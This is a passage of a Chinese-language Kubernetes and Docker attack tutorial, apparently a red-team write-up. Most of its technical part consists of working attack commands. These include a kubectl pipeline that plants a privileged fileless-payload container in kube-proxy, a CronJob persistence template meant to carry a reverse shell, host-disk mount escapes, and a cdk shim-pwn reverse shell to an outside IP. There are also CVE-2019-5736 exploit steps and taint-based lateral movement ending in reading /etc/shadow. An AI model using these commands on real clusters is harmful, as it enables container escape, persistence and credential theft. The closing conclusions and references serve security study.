$secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA......
# inject malicious container into kube-proxy pod
kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
| sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \
| sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, ; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \
| kubectl --kubeconfig /root/.kube/config replace -f -cronjob持久化
CronJob 用于执行周期性的动作，例如备份、报告生成等，攻击者可以利用此功能持久化。
apiVersion: batch/v1 kind: CronJob #使用CronJob对象 metadata: name: hello spec: schedule: "*/1 * * * *" #每分钟执行一次 jobTemplate: spec: template: spec: containers: - name: hello image: busybox imagePullPolicy: IfNotPresent command: - /bin/sh - -c - #反弹Shell或者木马 restartPolicy: OnFailure
权限提升
l特权容器逃逸
lDocker漏洞
lLinux Capabilities逃逸
特权容器逃逸
当容器启动加上--privileged选项时，容器可以访问宿主机上所有设备。
而K8s配置文件启用了privileged: true:
spec:
containers:
- name: ubuntu
image: ubuntu:latest
securityContext:
privileged: true
实战案例：
通过漏洞获取WebShell，查看根目录存在.dockerenv，可通过fdisk -l查看磁盘目录，进行挂载目录逃逸:
#Webshell下操作
fdisk -l
mkdir /tmp/test
mount /dev/sda3 /tmp/test
chroot /tmp/test bash
Docker漏洞
这里介绍两个知名的docker逃逸漏洞。
CVE-2020-15257
在Containerd 1.3.9版本之前和1.4.0~1.4.2版本，使用了--host网络模式，会造成containerd-shim API暴露，通过调用API功能实现逃逸。
Host模式特点：
l共享宿主机网络
l网络性能无损耗
l各容器网络无隔离
l网络资源无法分别统计
l端口管理困难
l不支持端口映射
#判断是否使用host模式 cat /proc/net/unix | grep 'containerd-shim'
#反弹宿主机的shell到远端服务器 ./cdk_linux_386 run shim-pwn reverse 192.168.238.159 4455
CVE-2019-5736
当runc动态编译时，会从容器镜像中载入动态链接库，导致加载恶意动态库；当打开/prco/self/exe即runc时，会执行恶意动态链接库中的恶意程序，由于恶意程序继承runc打开的文件句柄，可以通过该文件句柄替换host上的runc。
此后，再次执行runc相关的命令，则会产生逃逸。
版本漏洞：
docker version <=18.09.2
RunC version <=1.0-rc6
利用过程：
#下载POC https://github.com/Frichetten/CVE-2019-5736-PoC #编译 CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go 利用成功是将/etc/shadow文件复制到/tmp/目录下 #将编译的main复制到docker容器中，实战是用WebShell上传 docker cp main name:/home cd /home/ chmod 777 main ./main #此时等管理员进入容器将触发：
或将第 16 行改为反弹 Shell ，获得宿主机权限。
Capabilities
Capabilities是Linux一种安全机制，是在Linux内核2.2之后引入的，主要作用是权限更细粒度的控制。容器社区一直在努力将纵深防御、最小权限等理念和原则落地。
目前Docker已经将Capabilities黑名单机制改为了默认禁止所有Capabilities，再以白名单方式赋予容器运行所需的最小权限。
#查看Capabilities cat /proc/self/status | grep CapEff capsh --print Capabilities允许执行系统管理任务，如加载或卸载文件系统、设置磁盘配额等 lcap_sys_ptrace-container lcap_sys_admin-container lcap_dac_read_search-container 实际场景不多，逃逸方法参考挂载目录方式。
探测
l 内网扫描
l K8s常用端口探测
l 集群内部网络
集群内网扫描
Kubernetes的网络中存在4种主要类型的通信
n同一Pod内的容器间通信
n各Pod彼此间通信
nPod与Service间的通信
n集群外部的流量与Service间的通信。
所以和常规内网渗透无区别，nmap、masscan等扫描
K8s常用端口探测
集群内部网络
lFlannel网络插件默认使用10.244.0.0/16网络
lCalico默认使用192.168.0.0/16网络
横向移动
l污点(Taint)横向渗透
污点(Taint)横向渗透
污点是K8s高级调度的特性，用于限制哪些Pod可以被调度到某一个节点。一般主节点包含一个污点，这个污点是阻止Pod调度到主节点上面，除非有Pod能容忍这个污点。而通常容忍这个污点的 Pod都是系统级别的Pod，例如kube-system
—个pod只有容忍了节点的污点，才能被调度到该节点上面
#Node中查看节点信息 [[email protected] ~]# kubectl get nodes NAME STATUS ROLES AGE VERSION 192.168.238.129 Ready,SchedulingDisabled master 30d v1.21.0 192.168.238.130 Ready,SchedulingDisabled master 30d v1.21.0 192.168.238.131 Ready node 30d v1.21.0 192.168.238.132 Ready node 30d v1.21.0 #确认Master节点的容忍度 [[email protected] ~]# kubectl describe nodes 192.168.238.130 Name: 192.168.238.130 Roles: master Labels: beta.kubernetes.io/arch=amd64 beta.kubernetes.io/os=linux kubernetes.io/arch=amd64 kubernetes.io/hostname=192.168.238.130 kubernetes.io/os=linux kubernetes.io/role=master Annotations: flannel.alpha.coreos.com/backend-data: {"VtepMAC":"66:3b:20:6a:eb:ff"} flannel.alpha.coreos.com/backend-type: vxlan flannel.alpha.coreos.com/kube-subnet-manager: true flannel.alpha.coreos.com/public-ip: 192.168.238.130 node.alpha.kubernetes.io/ttl: 0 volumes.kubernetes.io/controller-managed-attach-detach: true CreationTimestamp: Tue, 14 Sep 2021 17:41:30 +0800 Taints: node.kubernetes.io/unschedulable:NoSchedule #创建带有容忍参数的Pod kubectl create -f control-master.yaml #control-master.yaml内容： apiVersion: v1 kind: Pod metadata: name: control-master-15 spec: tolerations: - key: node.kubernetes.io/unschedulable operator: Exists effect: NoSchedule containers: - name: control-master-15 image: ubuntu:18.04 command: ["/bin/sleep", "3650d"] volumeMounts: - name: master mountPath: /master volumes: - name: master hostPath: path: / type: Directory
#获得Master控制端 kubectl exec control-master-15 -it bash chroot /master bash cat /etc/shadow
结论
Ø目前黑产团伙通过批量扫描然后利用未授权进行挖矿。
Ø当前攻防技术处于初级阶段，但随着云原生攻击武器的发展，攻击门槛也会相应降低。
Ø虚拟机/容器逃逸攻击、供应链攻击等新型技术攻击方式，将会呈现出快速增长的趋势，此类攻击难度很高，带来的危害和影响也很大。
Ø私有云部署在企业业务生产网，云的底座网络、物理设备与业务网络在同一安全域，大多时候缺乏有效隔离。
Ø私有云产品属于定制开发，使用大量第三方组件，会随着时间和安全研究人员的研究而暴露。
参考链接：
1. TeamTNT Targets Kubernetes, Nearly 50,000 IPs Compromised in Worm-like Attack
2. Threat matrix for Kubernetes
https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
3. Kubernetes Attack Surface
https://www.optiv.com/insights/source-zero/blog/kubernetes-attack-surface
4. Attack methods and defenses on Kubernetes
https://dione.lib.unipi.gr/xmlui/handle/unipi/12888
5. k0otkit
https://github.com/Metarget/k0otkit
6. CVE-2019-5736-Poc
https://github.com/Frichetten/CVE-2019-5736-PoC
7. 修复Docker操作系统命令注入漏洞公告（CVE-2019-5736）
https://support.huaweicloud.com/bulletin-cce/cce_bulletin_0015.html